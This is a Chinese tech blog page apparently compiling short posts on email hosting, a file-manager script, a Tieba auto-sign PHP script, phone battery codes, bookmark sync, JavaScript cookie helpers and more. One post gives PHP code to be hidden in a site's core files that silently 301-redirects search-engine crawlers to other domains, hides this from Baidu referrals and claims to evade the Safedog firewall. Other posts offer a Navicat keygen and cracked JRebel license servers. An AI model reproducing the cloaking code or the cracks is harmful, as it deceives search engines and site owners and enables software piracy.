Yandex Mail、Zoho Mail 可设置自定义域名邮箱推荐

注册 Yandex Mail 账户 账户注册地址 地址:https://mail.yandex.com/登入地址 地址:https://mail.yandex.com/?pdd_domain= 自定义域名 Zoho 免费企业邮局官方网站 网站:https://www.zoho.com/ 我们可以看到当前 Zoho 提供的企业邮局有免费和付费账户,但是一般我们普通用途,免费账户足够使用,免费版本目前不支持 POP、SMPT,建议购买付费版本。(这里有一个技巧,我们一定要在.COM 域名下才行,千万不要跑进 zoho.com.cn 域名,因为两者是完全不同的账户,不畅通的。)

极简网盘 - 极简且美观的多用户网盘程序:Veno File Manager 汉化版

一款极简的网盘程序,不臃肿,界面美观的自适应网盘程序,支持密码分享、远程下载等功能,支持多用户注册。 原程序付费,目前官方最新版本:3.5.5 (2020.1.14) 正版购买下载地址:http://filemanager.veno.it 演示:http://pan.hik.win 使用:         搭建好 PHP 环境,然后将源码上传到网站根目录即可,默认登录管理的用户名是 admin 密码是 password,进后台后记得设置一下语言和更改密码。 汉化版下载:veno-file-manager-v3.4.8 密码:uepa| 大小:3.5M 已经过安全软件检测无毒,请您放心下载。

极简网盘 - 极简且美观的多用户网盘程序:Veno File Manager 汉化版

判断百度蜘蛛偷偷进行转移权重 301,给新站提权

   功能说明:   1. 判断蜘蛛跳转    2. 支持多个域名随机跳转   3. 判断百度搜索进去不进行跳转(防止被发现)   4. 正常浏览器访问不跳转   5. 过安全狗防护 使用方法:    以下代码新建为:useragent.func.php(可以放在隐蔽的地方)    然后在你网站程序核心函数,例如:dedecms 动态页面可以在:index.php   进行引入自己新建的代码为: require_once (dirname(__FILE__) . "/useragent.func.php");<?php/** 作者:68 喜科技*/error_reporting(E_ALL^E_NOTICE^E_WARNING);$xieyi="http://";function checkrobot($useragent=''){        static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');        static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');          $useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);        if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;        if(dstrpos($useragent, $kw_spiders)) return true;        return false;}function dstrpos($string, $arr, $returnvalue = false) {        if(empty($string)) return false;        foreach((array)$arr as $v) {                if(strpos($string, $v) !== false) {                        $return = $returnvalue ? $v : true;                        return $return;                }        }        return false;}// 网址随机输出,可以填写多个随机输出转移权重的网址$url[0] = "http://demoo1.com";$url[1] = "http://demoo2.com";$url[2] = "http://demoo3.com";$url[3] = "http://demoo4.com";$url[4] = "http://demoo5.com";$url[5] = "http://demoo5.com";srand ((double)microtime()*1000000);$randomnum = rand(0, count($url)-1);if(checkrobot()){    Header("Location:$url[$randomnum]");                 header('HTTP/1.1 301 Moved Permanently');                header("Location:$url[$randomnum]");                    exit;}// 判断的是百度,如果是百度点击进去就不跳转,防止被发现if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")){                     $file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);                          echo $file;                exit;    exit;       }?>

贴吧签到 PHP 单文件版

修改 bduss,然后用定时任务访问即可。代码:<?php date_default_timezone_set('PRC'); set_time_limit(0); echo "=========【".date('Y-m-d H:i:s')."】========="."\r\n"; // 身份标识 $bduss=" 填写 bduss";    /* 定义自定义函数 */    function xCurl($url,$cookie=null,$postdata=null,$header=array()){        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL,$url);        if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata);        if (!is_null($cookie)) curl_setopt($ch, CURLOPT_COOKIE,$cookie);        if (!empty($header)) curl_setopt($ch, CURLOPT_HTTPHEADER, $header);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_TIMEOUT, 50);        $re = curl_exec($ch);        curl_close($ch);        return $re;    };    /* 贴吧客户端请求头 */    $tieba_header = array(        'Content-Type: application/x-www-form-urlencoded',        'Charset: UTF-8',        'net: 3',        'User-Agent: bdtb for Android 8.4.0.1',        'Connection: Keep-Alive',        'Accept-Encoding: gzip',        'Host: c.tieba.baidu.com',    );    /* 浏览器请求头 */    $firefox_header = array(        'Host: tieba.baidu.com',        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',        'Accept: */*',        'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',        'Referer: http://tieba.baidu.com/',        'Connection: keep-alive',    );        // 获取 tbs    $re=json_decode(xCurl('http://tieba.baidu.com/dc/common/tbs','BDUSS=' . $bduss,null,$firefox_header),true);    if (! $re['is_login']) {     echo "bduss  失效!";     exit;    }    // 组织提交参数    $tbs = $re['tbs'];    $postdata = array ('BDUSS='.$bduss,'tbs=' . $tbs);    $postdata = implode('&', $postdata).'&sign='.md5(implode('', $postdata).'tiebaclient!!!');    // 执行签到操作    function dosign($bduss,$tbs,$postdata,$tieba_header){     // 获取关注贴吧列表     for ($pageno = 1; 1 ; $pageno ++){     $postdata='BDUSS='.urlencode($bduss).'&_client_version=8.1.0.4'.'&page_no=' . $pageno.'&page_size=100'.'&sign='.md5('BDUSS='.$bduss.'_client_version=8.1.0.4'.'page_no='.$pageno.'page_size=100'.'tiebaclient!!!');      $res = json_decode(gzdecode(xCurl('http://c.tieba.baidu.com/c/f/forum/like','ca=open',$postdata,$tieba_header)),true);      // 循环执行签到      foreach ($res['forum_list']['non-gconforum'] as $list) {     echo ' 尝试签到 [' . $list['name'].'] 吧:';      $ret = json_decode(gzdecode(xCurl('http://c.tieba.baidu.com/c/c/forum/sign','ca=open','BDUSS='.urlencode($bduss).'&fid='.$list['id'].'&kw='.urlencode($list['name']).'&sign='.md5('BDUSS='.$bduss.'fid='.$list['id'].'kw='.$list['name'].'tbs='.$tbs.'tiebaclient!!!').'&tbs='.$tbs,$tieba_header)),true);      if ($ret['error_code'] == '0'){     echo ' 签到完成,经验值加 ' . $ret['user_info']['sign_bonus_point'] . ',你是今天第 ' . $ret['user_info']['user_sign_rank'] . ' 个签到的。'."\r\n";      }else{     echo $ret['error_msg'] . '。'."\r\n";      }      }      if ($res['has_more'] == '0'){      break;      }     }    }    dosign($bduss,$tbs,$postdata,$tieba_header);    // 执行超级签到,并获取签到结果    //$res = json_decode(xCurl('http://tieba.baidu.com/tbmall/onekeySignin1','BDUSS='.$bduss,'ie=utf-8&tbs='.$tbs,$firefox_header),true);    // echo ' 签到完成!已签 ' . @$res['data']['signedForumAmount'] . ' 个吧,' . @$res['data']['unsignedForumAmount'] . ' 个吧未签。'."\r\n\r\n";    // // 检测是否全部签到成功    // if(!empty($res['data'])&&!empty($res['data']['unsignedForumAmount'])){    //  echo $res['data']['unsignedForumAmount']." 个贴吧签到失败,执行重签。"."\r\n";    //  dosign($bduss,$tbs,$postdata,$tieba_header);    // }

小米手机电池健康检测功能使用

打开拨号盘输入 *#*#6485#*#*你就会看到如下画面MB00: 你目前的电量MB06: 电池健康状态 (系统认定能开机都是好的)  重点来了(敲黑板敲黑板) MF02: 充电次数  MF05: 目前电池容量: 损耗后的  MF06: 标准的电池容量这里显示我的手机已经充电 1237 次,实际容量只有 2155mAh,相比较出场时 3350mAh 的容量而言,大概只有原来的 68%。     大家可以换算下自己手机电池的损耗。建议: 当电池的实际容量小于 80% 的设计容量时就可以考虑更换电池了。

小米手机电池健康检测功能使用

Floccus - 书签跨平台同步 不同浏览器书签一起同步方法

出于众所周知的原因,Chrome 的同步功能的体验一言难尽,不少用户也因此转投诸如 Eage、Firefox 等其它浏览器。 开源免费的 Floccus ,就恰如其分的解决了如何同步不同浏览器之间的标签的问题。Floccus 可以同步 Chrome、Firefox、Kiwi 等浏览器的书签,你可以借助 WebDAV,将书签数据同步在坚果云等同步网盘中。使用方法很简单粗暴,在坚果云中获取 WebDav 网址、账号、密码,然后在坚果云中新建保存书签的文件夹,填在插件配置中即可。 其谷歌商店下载地址:https://chrome.google.com/webstore/detail/floccus/fnaicdffflnofjppbagibeoednhnbjhg?utm_source=chrome-ntp-icon 上不去谷歌商店的用户可以下载离线版本:https://www.jianguoyun.com/p/DfUe70wQoa3pBxjyms0C 在上述链接文件列表中找到 Floccus 下载即可。非谷歌浏览器但是 Chrome 内核的浏览器可以直接拖动插件进去安装,例如 360,UC 等。谷歌浏览器需要将 crx 文件解压,然后打开开发模式加载解压的文件夹即可。

数据库连接工具 Navicat Premium 15 激活工具注册机

  Navicat Premium 15 如何安装和激活?Navicat Premium 15 是数据库连接管理工具,兼容性非常高,对于常用的数据库软件比如 MySQL、Oracle 等,都能从单个应用同时连接。Navicat Premium 对于新手来首也容易上手,有 20 多种图表类型,创建图表很简单,也能数据建模。下面来看看 Navicat Premium 15 激活的图文教程。 Navicat Premium 15 有什么用   Navicat Premium 15 是功能强大的数据库管理软件,可让您从单个应用程序同时连接到 MySQL,MariaDB,SQL Server,Oracle,PostgreSQL 和 SQLite 数据库,与 Amazon RDS,Amazon Aurora,Amazon Redshift,SQL Azure,Oracle Cloud 和 Google Cloud 等云数据库兼容,您可以快速轻松地构建,管理和维护数据库。   有了 Navicat Premium,您不再需要为不同的数据库而切换不同的数据库工具。Navicat Premium 结合了其他 Navicat 成员的功能,有了这种连接到不同数据库的能力,它可以在 MySQL、SQLite、Oracle、MariaDB、Mssql、及 PostgreSQL 之间进行数据传输。   同时 Navicat Premium 也支持大部份数据库管理系统中使用的功能,包括存储过程、事件、触发器、函数、视图等,使用它可以轻松连接到 MySQL、SQLite、Oracle、MariaDB、Mssql、及 PostgreSQL 数据库,让管理不同类型的数据库更加的方便。   Navicat Premium 有三种平台版本 - Microsoft Windows、Mac OS X 及 Linux,使用者可以轻松的连接本地 / 远端服务器、程序提供一些实用的工具,使数据 / 结构同步、导入 / 导出、备份 / 还原及报表以协助管理数据等等工作更加便捷。   Navicat 15 更加强大,具有许多改进和功能,可以满足您的数据库开发需求,进行了增强以提供完全的灵活性,具有 100 多种增强功能,为您提供了构建,管理和维护数据库的新方法。   Navicat Premium 15 创建图表更加的简单,支持 20 种图表类型,支持强大的数据传输,发布了一种新的 SQL 编写方法,不仅允许添加子查询以进一步限制查询结果,而且还可以预览正在处理的查询并在发现任何语法错误后进行修改。navicat 15 还引入了一种新的同步到数据库功能的机制,可以轻松找到所有对象差异,欢迎免费下载体验。 Navicat15 激活教程 下载激活工具 Navicat15 密码:mzui| 大小:5M 已经过安全软件检测无毒,请您放心下载。 教程:先下载 navicat15 安装启动,下载注册机启动,点第一个 Generate 获取注册码,会自动给填上,若没自动填请手动复制。 直接激活失败的话选择“手动激活”,然后复制请求码到注册机的“请求码”框中,再点击倒数第一行(第二个 Generate)生成离线激活码再复制到 Navicat 激活即可。

数据库连接工具 Navicat Premium 15 激活工具注册机

Java 自动化部署工具 Jrebel、性能监控工具 Xrebel 激活

首先说下 idea 下的这款热部署工具,  热部署只是针对 class 文件, 源文件这些。对于属性文件.xml 或.properties,修改了都需要重启服务器,因为属性文件是在服务器启动的时候加载的,不可能被热部署识别到。程序可以设置热部署刷新时间,也可以手动刷新热部署,快捷键 Ctrl+F9 或双击 Ctrl。激活时选 Team 那一个选项,输入激活网址激活即可。https://jrebel.qekang.com/d4f05e6e-f98a-4777-bd09-5fcfd44c4557上述截止目前好像失效了,可用如下地址,同上后面也加上 GUID,可以百度 GUID 在线生成工具生成个 GUID 放在后面 http://jrebel-license.jiweichengzhu.com/ 上述发现也失效了可使用如下:http://120.78.90.245:8081/也可使用离线激活,访问项目地址:https://github.com/ilanyu/ReverseProxy/releases/tag/v1.4 例如我是 windows x64 系统,下载 ReverseProxy_windows_amd64.exe,双击打开,使用本机 8888 端口,工具打开之后,需要开启防火墙,工具准备就绪之后,就可以开始激活了!直接进入到 jrebel 的配置项中,点击 active now 链接进入到激活界面。激活窗口中,需要填入 license 的地址和邮箱,后面的邮箱可以随便写一个,license 地址则需要使用我们刚才开启的工具上显示的地址:http://127.0.0.1:8888,而且地址必须跟一个参数(必须要写),这参数需要使用 UUID 或者 GUID。工具需要一直启动否则无效。

Java 自动化部署工具 Jrebel、性能监控工具 Xrebel 激活

Linux 树莓派 root 运行文件提示权限不够

解决方法: chmod a+x filename  PS:用字符串来设定文件访问权限。  其中读用 r 表示,写用 w 表示,执行用 x 表示;  所有者用 u 表示,组用户用 g 表示,其他用户用 o 表示,所有用户用 a 表示。例子:  chmod a+r,u+w,u+x,g+w  myName.txt

js 获取 cookie 值 根据 cookie 名称获取值 删除设置 cookie

// 方法 1   // 存在问题:如果 cookie 中存在  aaaname=aa;name=bb  获取 name 的值就会出现错误function getCookie(c_name) {if (document.cookie.length > 0) { // 判断 cookie 是否存在 // 获取 cookie 名称加 = 的索引值 var c_start = document.cookie.indexOf(c_name + "="); if (c_start != -1) { // 说明这个 cookie 存在 // 获取 cookie 名称对应值的开始索引值 c_start = c_start + c_name.length + 1 // 从 c_start 位置开始找第一个分号的索引值,也就是 cookie 名称对应值的结束索引值 c_end = document.cookie.indexOf(";", c_start) // 如果找不到,说明是 cookie 名称对应值的结束索引值就是 cookie 的长度 if (c_end == -1) c_end = document.cookie.length //unescape()  函数可对通过  escape()  编码的字符串进行解码 // 获取 cookie 名称对应的值,并返回 return unescape(document.cookie.substring(c_start, c_end)) } } return "" // 不存在返回空字符串}// 方法 2function getCookie2(name) { var strcookie = document.cookie; // 获取 cookie 字符串 var arrcookie = strcookie.split("; "); // 分割 // 遍历匹配 for (var i = 0; i < arrcookie.length; i++) {var arr = arrcookie[i].split("="); if (arr[0] == name) {return arr[1]; } } return "";}// 方法 3function getCookie3(name) { // 可以搜索 RegExp 和 match 进行学习 var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) {return unescape(arr[2]); } else {return null;}}// 写 cookiesfunction setCookie(name, value) { var Days = 30; var exp = new Date(); exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000); document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();}// 写 cookies 设置过期时间function setCookie(cname, cvalue, exdays) {var d = new Date(); d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000)); var expires = "expires=" + d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";}// 删除 cookiesfunction delCookie(name) {var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval = getCookie(name); if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();}